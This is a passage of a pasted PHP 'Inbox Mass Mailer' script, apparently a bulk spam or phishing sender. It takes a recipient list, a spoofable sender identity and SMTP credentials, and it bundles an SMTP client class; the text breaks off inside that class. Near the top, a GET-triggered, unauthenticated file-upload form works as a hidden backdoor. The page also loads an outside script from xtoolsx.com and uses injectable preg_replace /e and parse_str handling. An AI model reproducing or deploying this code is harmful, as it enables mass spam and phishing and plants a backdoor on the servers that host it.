· 10 years ago · May 31, 2016, 10:00 PM
1
2<?php
3
4
5/*
6Inbox Mass Mailer
7
8
9*/
10$upload = $_GET["upload"];
11if ($upload == "up" ) {
12$uploaddir = "";
13$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
14if (isset($_FILES["userfile"]["name"]))
15{
16if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
17{
18$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
19else { $resultati = "There was an error uploading the file. please try again!"; }
20}
21echo'<html>
22<head></head>
23<div id="result">
24<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
25<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
26<center><form method="POST" enctype="multipart/form-data">
27<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
28<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
29}
30
31function query_str($params){
32$str = '';
33foreach ($params as $key => $value) {
34$str .= (strlen($str) < 1) ? '' : '&';
35$str .= $key . '=' . rawurlencode($value);
36}
37return ($str);
38}
39function lrtrim($string){
40return stripslashes(ltrim(rtrim($string)));
41}
42
43if(isset($_POST['action'] ) ){
44
45$b = query_str($_POST);
46parse_str($b);
47$sslclick=lrtrim($sslclick);
48$action=lrtrim($action);
49$message=lrtrim($message);
50$emaillist=lrtrim($emaillist);
51$from=lrtrim($from);
52$reconnect=lrtrim($reconnect);
53$epriority=lrtrim($epriority);
54$my_smtp=lrtrim($my_smtp);
55$ssl_port=lrtrim($ssl_port);
56$smtp_username=lrtrim($smtp_username);
57$smtp_password=lrtrim($smtp_password);
58$replyto=lrtrim($replyto);
59$subject=lrtrim($subject);
60$realname=lrtrim($realname);
61$subject_base=lrtrim($subject);
62$realname_base=lrtrim($realname);
63$file_name=lrtrim($file);
64$urlz=lrtrim($urlz);
65$contenttype=lrtrim($contenttype);
66$encode_text=$_POST['encode'];
67
68 $message = urlencode($message);
69 $message = ereg_replace("%5C%22", "%22", $message);
70 $message = urldecode($message);
71 $message = stripslashes($message);
72 $subject = stripslashes($subject);
73 if ($encode_text == "yes") {
74 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
75 $subject = str_replace(' ', '_', $subject);
76 $subject = "=?UTF-8?Q?$subject?=";
77 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
78 $realname = str_replace(' ', '_', $realname);
79 $realname = "=?UTF-8?Q?$realname?=";
80 }
81}
82?>
83<html>
84
85<head>
86<title>PHP Mailer</title>
87<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
88
89<style type="text/css">
90<!--
91.style1 {
92 font-family: Geneva, Arial, Helvetica, sans-serif;
93 font-size: 12px;
94}
95-->
96</style>
97<style type="text/css">
98<!--
99.style1 {
100 font-size: 10px;
101 font-family: Geneva, Arial, Helvetica, sans-serif;
102}
103-->
104</style>
105</head>
106<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
107<body text="#000000">
108<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
109<form name="form1" method="post" action="" enctype="multipart/form-data">
110
111 <br>
112
113 <table width="100%" border="0" height="407">
114
115 <tr>
116
117 <td width="100%" colspan="4" bgcolor="#666666" height="36">
118
119 <b>
120
121 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
122
123 </tr>
124 <tr>
125
126 <td width="10%" height="22" bgcolor="#E8E8E8">
127
128 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
129 SMTP Login:</font></div>
130
131 </td>
132
133 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
134
135 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
136
137 </font></td>
138
139 <td width="31%" height="22" bgcolor="#E8E8E8">
140
141 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
142 SMTP Pass:</font></div>
143
144 </td>
145
146 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
147
148 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
149
150 </font></td>
151
152 </tr>
153 <tr>
154
155 <td width="10%" height="22" bgcolor="#E8E8E8">
156
157 <div align="right">
158 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
159
160 </td>
161
162 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
163
164 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
165 (optional)</font></td>
166
167 <td width="31%" height="22" bgcolor="#E8E8E8">
168
169 <div align="right">
170 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
171 Server Smtp:</font></div>
172
173 </td>
174
175 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
176
177 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
178
179 </font></td>
180
181 </tr>
182 <tr>
183
184 <td width="10%" height="22" bgcolor="#E8E8E8">
185
186 <p align="right">
187 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
188
189 <td width="18%" height="22" bgcolor="#E8E8E8">
190 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
191
192 <td width="31%" height="22" bgcolor="#E8E8E8">
193
194 <p align="right">
195 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
196 After:</font></td>
197
198 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
199
200 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
201 EMAILS</font></td>
202
203 </tr>
204 <tr>
205
206 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
207
208 <p align="center">
209 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
210 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
211
212 </tr>
213
214 <tr>
215
216 <td width="10%" height="19">
217
218 </td>
219
220 <td width="18%" height="19"> </td>
221
222 <td width="31%" height="19">
223
224 </td>
225
226 <td width="41%" height="19"> </td>
227
228 </tr>
229
230 <tr>
231
232 <td width="100%" colspan="4" bgcolor="#666666" height="36">
233
234 <b>
235
236 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
237
238 </tr>
239
240 <tr>
241
242 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
243
244 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
245 Your Email:</font></div>
246
247 </td>
248
249 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
250
251 <input type="text" name="from" value="<?=$from;?>" size="30">
252
253 </font></td>
254
255 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
256
257 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
258 Your Name:</font></div>
259
260 </td>
261
262 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
263
264 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
265
266 </font></td>
267
268 </tr>
269 <tr>
270
271 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
272
273 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
274 Reply-To:</font></div>
275
276 </td>
277
278 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
279
280 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
281
282 </font></td>
283
284 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
285
286 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
287 Email Priority:</font></td>
288
289 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
290
291 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
292 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
293 Please Choose -</option>
294 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
295 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
296 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
297 </select></td>
298
299 </tr>
300
301 <tr>
302
303 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
304
305 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
306 Subject:</font></div>
307
308 </td>
309
310 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
311
312 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
313
314 </font></td>
315
316 </tr>
317
318 <tr>
319
320 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
321
322 </td>
323
324 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
325
326 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
327 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
328 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
329 </select></font></td>
330
331 </tr>
332
333 <tr valign="top">
334
335<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
336
337 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
338
339 <br>
340
341 <input type="radio" name="contenttype" value="plain" >
342
343 Plain
344
345 <input type="radio" name="contenttype" value="html" checked>
346
347 HTML
348
349 <input type="hidden" name="action" value="send">
350
351 <input type="submit" value="Send Message">
352
353 </font></td>
354
355 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
356
357 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
358
359 </font></td>
360
361 </tr>
362
363 </table>
364
365</form>
366
367
368
369<?
370
371if ($action){
372 if (!$from && !$subject && !$message && !$emaillist){
373 print "<script>alert('Please complete all fields before sending your message.'); </script>";
374 die(); }
375
376class SMTP
377{
378 /**
379 * SMTP server port
380 * @var int
381 */
382 var $SMTP_PORT = 25;
383
384 /**
385 * SMTP reply line ending
386 * @var string
387 */
388 var $CRLF = "\r\n";
389
390 /**
391 * Sets whether debugging is turned on
392 * @var bool
393 */
394 var $do_debug; # the level of debug to perform
395
396 /**
397 * Sets VERP use on/off (default is off)
398 * @var bool
399 */
400 var $do_verp = false;
401
402 /**#@+
403 * @access private
404 */
405 var $smtp_conn; # the socket to the server
406 var $error; # error if any on the last call
407 var $helo_rply; # the reply the server sent to us for HELO
408 /**#@-*/
409
410 /**
411 * Initialize the class so that the data is in a known state.
412 * @access public
413 * @return void
414 */
415 function SMTP() {
416 $this->smtp_conn = 0;
417 $this->error = null;
418 $this->helo_rply = null;
419
420 $this->do_debug = 0;
421 }
422
423 /*************************************************************
424 * CONNECTION FUNCTIONS *
425 ***********************************************************/
426
427 /**
428 * Connect to the server specified on the port specified.
429 * If the port is not specified use the default SMTP_PORT.
430 * If tval is specified then a connection will try and be
431 * established with the server for that number of seconds.
432 * If tval is not specified the default is 30 seconds to
433 * try on the connection.
434 *
435 * SMTP CODE SUCCESS: 220
436 * SMTP CODE FAILURE: 421
437 * @access public
438 * @return bool
439 */
440 function Connect($host,$port=0,$tval=30) {
441 # set the error val to null so there is no confusion
442 $this->error = null;
443
444 # make sure we are __not__ connected
445 if($this->connected()) {
446 # ok we are connected! what should we do?
447 # for now we will just give an error saying we
448 # are already connected
449 $this->error = array("error" => "Already connected to a server");
450 return false;
451 }
452
453 if(empty($port)) {
454 $port = $this->SMTP_PORT;
455 }
456
457 #connect to the smtp server
458 $this->smtp_conn = fsockopen($host, # the host of the server
459 $port, # the port to use
460 $errno, # error number if any
461 $errstr, # error message if any
462 $tval); # give up after ? secs
463 # verify we connected properly
464 if(empty($this->smtp_conn)) {
465 $this->error = array("error" => "Failed to connect to server",
466 "errno" => $errno,
467 "errstr" => $errstr);
468 if($this->do_debug >= 1) {
469 echo "SMTP -> ERROR: " . $this->error["error"] .
470 ": $errstr ($errno)" . $this->CRLF;
471 }
472 return false;
473 }
474
475 # sometimes the SMTP server takes a little longer to respond
476 # so we will give it a longer timeout for the first read
477 // Windows still does not have support for this timeout function
478 if(substr(PHP_OS, 0, 3) != "WIN")
479 socket_set_timeout($this->smtp_conn, $tval, 0);
480
481 # get any announcement stuff
482 $announce = $this->get_lines();
483
484 # set the timeout of any socket functions at 1/10 of a second
485 //if(function_exists("socket_set_timeout"))
486 // socket_set_timeout($this->smtp_conn, 0, 100000);
487
488 if($this->do_debug >= 2) {
489 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
490 }
491
492 return true;
493 }
494
495 /**
496 * Performs SMTP authentication. Must be run after running the
497 * Hello() method. Returns true if successfully authenticated.
498 * @access public
499 * @return bool
500 */
501 function Authenticate($username, $password) {
502 // Start authentication
503 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
504
505 $rply = $this->get_lines();
506 $code = substr($rply,0,3);
507
508 if($code != 334) {
509 $this->error =
510 array("error" => "AUTH not accepted from server",
511 "smtp_code" => $code,
512 "smtp_msg" => substr($rply,4));
513 if($this->do_debug >= 1) {
514 echo "SMTP -> ERROR: " . $this->error["error"] .
515 ": " . $rply . $this->CRLF;
516 }
517 return false;
518 }
519
520 // Send encoded username
521 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
522
523 $rply = $this->get_lines();
524 $code = substr($rply,0,3);
525
526 if($code != 334) {
527 $this->error =
528 array("error" => "Username not accepted from server",
529 "smtp_code" => $code,
530 "smtp_msg" => substr($rply,4));
531 if($this->do_debug >= 1) {
532 echo "SMTP -> ERROR: " . $this->error["error"] .
533 ": " . $rply . $this->CRLF;
534 }
535 return false;
536 }
537
538 // Send encoded password
539 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
540
541 $rply = $this->get_lines();
542 $code = substr($rply,0,3);
543
544 if($code != 235) {
545 $this->error =
546 array("error" => "Password not accepted from server",
547 "smtp_code" => $code,
548 "smtp_msg" => substr($rply,4));
549 if($this->do_debug >= 1) {
550 echo "SMTP -> ERROR: " . $this->error["error"] .
551 ": " . $rply . $this->CRLF;
552 }
553 return false;
554 }
555
556 return true;
557 }
558
559 /**
560 * Returns true if connected to a server otherwise false
561 * @access private
562 * @return bool
563 */
564 function Connected() {
565 if(!empty($this->smtp_conn)) {
566 $sock_status = socket_get_status($this->smtp_conn);
567 if($sock_status["eof"]) {
568 # hmm this is an odd situation... the socket is
569 # valid but we are not connected anymore
570 if($this->do_debug >= 1) {
571 echo "SMTP -> NOTICE:" . $this->CRLF .
572 "EOF caught while checking if connected";
573 }
574 $this->Close();
575 return false;
576 }
577 return true; # everything looks good
578 }
579 return false;
580 }
581
582 /**
583 * Closes the socket and cleans up the state of the class.
584 * It is not considered good to use this function without
585 * first trying to use QUIT.
586 * @access public
587 * @return void
588 */
589 function Close() {
590 $this->error = null; # so there is no confusion
591 $this->helo_rply = null;
592 if(!empty($this->smtp_conn)) {
593 # close the connection and cleanup
594 fclose($this->smtp_conn);
595 $this->smtp_conn = 0;
596 }
597 }
598
599 /***************************************************************
600 * SMTP COMMANDS *
601 *************************************************************/
602
603 /**
604 * Issues a data command and sends the msg_data to the server
605 * finializing the mail transaction. $msg_data is the message
606 * that is to be send with the headers. Each header needs to be
607 * on a single line followed by a <CRLF> with the message headers
608 * and the message body being seperated by and additional <CRLF>.
609 *
610 * Implements rfc 821: DATA <CRLF>
611 *
612 * SMTP CODE INTERMEDIATE: 354
613 * [data]
614 * <CRLF>.<CRLF>
615 * SMTP CODE SUCCESS: 250
616 * SMTP CODE FAILURE: 552,554,451,452
617 * SMTP CODE FAILURE: 451,554
618 * SMTP CODE ERROR : 500,501,503,421
619 * @access public
620 * @return bool
621 */
622 function Data($msg_data) {
623 $this->error = null; # so no confusion is caused
624
625 if(!$this->connected()) {
626 $this->error = array(
627 "error" => "Called Data() without being connected");
628 return false;
629 }
630
631 fputs($this->smtp_conn,"DATA" . $this->CRLF);
632
633 $rply = $this->get_lines();
634 $code = substr($rply,0,3);
635
636 if($this->do_debug >= 2) {
637 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
638 }
639
640 if($code != 354) {
641 $this->error =
642 array("error" => "DATA command not accepted from server",
643 "smtp_code" => $code,
644 "smtp_msg" => substr($rply,4));
645 if($this->do_debug >= 1) {
646 echo "SMTP -> ERROR: " . $this->error["error"] .
647 ": " . $rply . $this->CRLF;
648 }
649 return false;
650 }
651
652 # the server is ready to accept data!
653 # according to rfc 821 we should not send more than 1000
654 # including the CRLF
655 # characters on a single line so we will break the data up
656 # into lines by \r and/or \n then if needed we will break
657 # each of those into smaller lines to fit within the limit.
658 # in addition we will be looking for lines that start with
659 # a period '.' and append and additional period '.' to that
660 # line. NOTE: this does not count towards are limit.
661
662 # normalize the line breaks so we know the explode works
663 $msg_data = str_replace("\r\n","\n",$msg_data);
664 $msg_data = str_replace("\r","\n",$msg_data);
665 $lines = explode("\n",$msg_data);
666
667 # we need to find a good way to determine is headers are
668 # in the msg_data or if it is a straight msg body
669 # currently I am assuming rfc 822 definitions of msg headers
670 # and if the first field of the first line (':' sperated)
671 # does not contain a space then it _should_ be a header
672 # and we can process all lines before a blank "" line as
673 # headers.
674 $field = substr($lines[0],0,strpos($lines[0],":"));
675 $in_headers = false;
676 if(!empty($field) && !strstr($field," ")) {
677 $in_headers = true;
678 }
679
680 $max_line_length = 998; # used below; set here for ease in change
681
682 while(list(,$line) = @each($lines)) {
683 $lines_out = null;
684 if($line == "" && $in_headers) {
685 $in_headers = false;
686 }
687 # ok we need to break this line up into several
688 # smaller lines
689 while(strlen($line) > $max_line_length) {
690 $pos = strrpos(substr($line,0,$max_line_length)," ");
691
692 # Patch to fix DOS attack
693 if(!$pos) {
694 $pos = $max_line_length - 1;
695 }
696
697 $lines_out[] = substr($line,0,$pos);
698 $line = substr($line,$pos + 1);
699 # if we are processing headers we need to
700 # add a LWSP-char to the front of the new line
701 # rfc 822 on long msg headers
702 if($in_headers) {
703 $line = "\t" . $line;
704 }
705 }
706 $lines_out[] = $line;
707
708 # now send the lines to the server
709 while(list(,$line_out) = @each($lines_out)) {
710 if(strlen($line_out) > 0)
711 {
712 if(substr($line_out, 0, 1) == ".") {
713 $line_out = "." . $line_out;
714 }
715 }
716 fputs($this->smtp_conn,$line_out . $this->CRLF);
717 }
718 }
719
720 # ok all the message data has been sent so lets get this
721 # over with aleady
722 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
723
724 $rply = $this->get_lines();
725 $code = substr($rply,0,3);
726
727 if($this->do_debug >= 2) {
728 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
729 }
730
731 if($code != 250) {
732 $this->error =
733 array("error" => "DATA not accepted from server",
734 "smtp_code" => $code,
735 "smtp_msg" => substr($rply,4));
736 if($this->do_debug >= 1) {
737 echo "SMTP -> ERROR: " . $this->error["error"] .
738 ": " . $rply . $this->CRLF;
739 }
740 return false;
741 }
742 return true;
743 }
744
745 /**
746 * Expand takes the name and asks the server to list all the
747 * people who are members of the _list_. Expand will return
748 * back and array of the result or false if an error occurs.
749 * Each value in the array returned has the format of:
750 * [ <full-name> <sp> ] <path>
751 * The definition of <path> is defined in rfc 821
752 *
753 * Implements rfc 821: EXPN <SP> <string> <CRLF>
754 *
755 * SMTP CODE SUCCESS: 250
756 * SMTP CODE FAILURE: 550
757 * SMTP CODE ERROR : 500,501,502,504,421
758 * @access public
759 * @return string array
760 */
761 function Expand($name) {
762 $this->error = null; # so no confusion is caused
763
764 if(!$this->connected()) {
765 $this->error = array(
766 "error" => "Called Expand() without being connected");
767 return false;
768 }
769
770 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
771
772 $rply = $this->get_lines();
773 $code = substr($rply,0,3);
774
775 if($this->do_debug >= 2) {
776 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
777 }
778
779 if($code != 250) {
780 $this->error =
781 array("error" => "EXPN not accepted from server",
782 "smtp_code" => $code,
783 "smtp_msg" => substr($rply,4));
784 if($this->do_debug >= 1) {
785 echo "SMTP -> ERROR: " . $this->error["error"] .
786 ": " . $rply . $this->CRLF;
787 }
788 return false;
789 }
790
791 # parse the reply and place in our array to return to user
792 $entries = explode($this->CRLF,$rply);
793 while(list(,$l) = @each($entries)) {
794 $list[] = substr($l,4);
795 }
796
797 return $list;
798 }
799
800 /**
801 * Sends the HELO command to the smtp server.
802 * This makes sure that we and the server are in
803 * the same known state.
804 *
805 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
806 *
807 * SMTP CODE SUCCESS: 250
808 * SMTP CODE ERROR : 500, 501, 504, 421
809 * @access public
810 * @return bool
811 */
812 function Hello($host="") {
813 $this->error = null; # so no confusion is caused
814
815 if(!$this->connected()) {
816 $this->error = array(
817 "error" => "Called Hello() without being connected");
818 return false;
819 }
820
821 # if a hostname for the HELO was not specified determine
822 # a suitable one to send
823 if(empty($host)) {
824 # we need to determine some sort of appopiate default
825 # to send to the server
826 $host = "localhost";
827 }
828
829 // Send extended hello first (RFC 2821)
830 if(!$this->SendHello("EHLO", $host))
831 {
832 if(!$this->SendHello("HELO", $host))
833 return false;
834 }
835
836 return true;
837 }
838
839 /**
840 * Sends a HELO/EHLO command.
841 * @access private
842 * @return bool
843 */
844 function SendHello($hello, $host) {
845 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
846
847 $rply = $this->get_lines();
848 $code = substr($rply,0,3);
849
850 if($this->do_debug >= 2) {
851 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
852 }
853
854 if($code != 250) {
855 $this->error =
856 array("error" => $hello . " not accepted from server",
857 "smtp_code" => $code,
858 "smtp_msg" => substr($rply,4));
859 if($this->do_debug >= 1) {
860 echo "SMTP -> ERROR: " . $this->error["error"] .
861 ": " . $rply . $this->CRLF;
862 }
863 return false;
864 }
865
866 $this->helo_rply = $rply;
867
868 return true;
869 }
870
871 /**
872 * Gets help information on the keyword specified. If the keyword
873 * is not specified then returns generic help, ussually contianing
874 * A list of keywords that help is available on. This function
875 * returns the results back to the user. It is up to the user to
876 * handle the returned data. If an error occurs then false is
877 * returned with $this->error set appropiately.
878 *
879 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
880 *
881 * SMTP CODE SUCCESS: 211,214
882 * SMTP CODE ERROR : 500,501,502,504,421
883 * @access public
884 * @return string
885 */
886 function Help($keyword="") {
887 $this->error = null; # to avoid confusion
888
889 if(!$this->connected()) {
890 $this->error = array(
891 "error" => "Called Help() without being connected");
892 return false;
893 }
894
895 $extra = "";
896 if(!empty($keyword)) {
897 $extra = " " . $keyword;
898 }
899
900 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
901
902 $rply = $this->get_lines();
903 $code = substr($rply,0,3);
904
905 if($this->do_debug >= 2) {
906 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
907 }
908
909 if($code != 211 && $code != 214) {
910 $this->error =
911 array("error" => "HELP not accepted from server",
912 "smtp_code" => $code,
913 "smtp_msg" => substr($rply,4));
914 if($this->do_debug >= 1) {
915 echo "SMTP -> ERROR: " . $this->error["error"] .
916 ": " . $rply . $this->CRLF;
917 }
918 return false;
919 }
920
921 return $rply;
922 }
923
924 /**
925 * Starts a mail transaction from the email address specified in
926 * $from. Returns true if successful or false otherwise. If True
927 * the mail transaction is started and then one or more Recipient
928 * commands may be called followed by a Data command.
929 *
930 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
931 *
932 * SMTP CODE SUCCESS: 250
933 * SMTP CODE SUCCESS: 552,451,452
934 * SMTP CODE SUCCESS: 500,501,421
935 * @access public
936 * @return bool
937 */
938 function Mail($from) {
939 $this->error = null; # so no confusion is caused
940
941 if(!$this->connected()) {
942 $this->error = array(
943 "error" => "Called Mail() without being connected");
944 return false;
945 }
946
947 $useVerp = ($this->do_verp ? "XVERP" : "");
948 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
949
950 $rply = $this->get_lines();
951 $code = substr($rply,0,3);
952
953 if($this->do_debug >= 2) {
954 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
955 }
956
957 if($code != 250) {
958 $this->error =
959 array("error" => "MAIL not accepted from server",
960 "smtp_code" => $code,
961 "smtp_msg" => substr($rply,4));
962 if($this->do_debug >= 1) {
963 echo "SMTP -> ERROR: " . $this->error["error"] .
964 ": " . $rply . $this->CRLF;
965 }
966 return false;
967 }
968 return true;
969 }
970
971 /**
972 * Sends the command NOOP to the SMTP server.
973 *
974 * Implements from rfc 821: NOOP <CRLF>
975 *
976 * SMTP CODE SUCCESS: 250
977 * SMTP CODE ERROR : 500, 421
978 * @access public
979 * @return bool
980 */
981 function Noop() {
982 $this->error = null; # so no confusion is caused
983
984 if(!$this->connected()) {
985 $this->error = array(
986 "error" => "Called Noop() without being connected");
987 return false;
988 }
989
990 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
991
992 $rply = $this->get_lines();
993 $code = substr($rply,0,3);
994
995 if($this->do_debug >= 2) {
996 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
997 }
998
999 if($code != 250) {
1000 $this->error =
1001 array("error" => "NOOP not accepted from server",
1002 "smtp_code" => $code,
1003 "smtp_msg" => substr($rply,4));
1004 if($this->do_debug >= 1) {
1005 echo "SMTP -> ERROR: " . $this->error["error"] .
1006 ": " . $rply . $this->CRLF;
1007 }
1008 return false;
1009 }
1010 return true;
1011 }
1012
1013 /**
1014 * Sends the quit command to the server and then closes the socket
1015 * if there is no error or the $close_on_error argument is true.
1016 *
1017 * Implements from rfc 821: QUIT <CRLF>
1018 *
1019 * SMTP CODE SUCCESS: 221
1020 * SMTP CODE ERROR : 500
1021 * @access public
1022 * @return bool
1023 */
1024 function Quit($close_on_error=true) {
1025 $this->error = null; # so there is no confusion
1026
1027 if(!$this->connected()) {
1028 $this->error = array(
1029 "error" => "Called Quit() without being connected");
1030 return false;
1031 }
1032
1033 # send the quit command to the server
1034 fputs($this->smtp_conn,"quit" . $this->CRLF);
1035
1036 # get any good-bye messages
1037 $byemsg = $this->get_lines();
1038
1039 if($this->do_debug >= 2) {
1040 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1041 }
1042
1043 $rval = true;
1044 $e = null;
1045
1046 $code = substr($byemsg,0,3);
1047 if($code != 221) {
1048 # use e as a tmp var cause Close will overwrite $this->error
1049 $e = array("error" => "SMTP server rejected quit command",
1050 "smtp_code" => $code,
1051 "smtp_rply" => substr($byemsg,4));
1052 $rval = false;
1053 if($this->do_debug >= 1) {
1054 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1055 $byemsg . $this->CRLF;
1056 }
1057 }
1058
1059 if(empty($e) || $close_on_error) {
1060 $this->Close();
1061 }
1062
1063 return $rval;
1064 }
1065
1066 /**
1067 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1068 * Returns true if the recipient was accepted false if it was rejected.
1069 *
1070 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1071 *
1072 * SMTP CODE SUCCESS: 250,251
1073 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1074 * SMTP CODE ERROR : 500,501,503,421
1075 * @access public
1076 * @return bool
1077 */
1078 function Recipient($to) {
1079 $this->error = null; # so no confusion is caused
1080
1081 if(!$this->connected()) {
1082 $this->error = array(
1083 "error" => "Called Recipient() without being connected");
1084 return false;
1085 }
1086
1087 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1088
1089 $rply = $this->get_lines();
1090 $code = substr($rply,0,3);
1091
1092 if($this->do_debug >= 2) {
1093 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1094 }
1095
1096 if($code != 250 && $code != 251) {
1097 $this->error =
1098 array("error" => "RCPT not accepted from server",
1099 "smtp_code" => $code,
1100 "smtp_msg" => substr($rply,4));
1101 if($this->do_debug >= 1) {
1102 echo "SMTP -> ERROR: " . $this->error["error"] .
1103 ": " . $rply . $this->CRLF;
1104 }
1105 return false;
1106 }
1107 return true;
1108 }
1109
1110 /**
1111 * Sends the RSET command to abort and transaction that is
1112 * currently in progress. Returns true if successful false
1113 * otherwise.
1114 *
1115 * Implements rfc 821: RSET <CRLF>
1116 *
1117 * SMTP CODE SUCCESS: 250
1118 * SMTP CODE ERROR : 500,501,504,421
1119 * @access public
1120 * @return bool
1121 */
1122 function Reset() {
1123 $this->error = null; # so no confusion is caused
1124
1125 if(!$this->connected()) {
1126 $this->error = array(
1127 "error" => "Called Reset() without being connected");
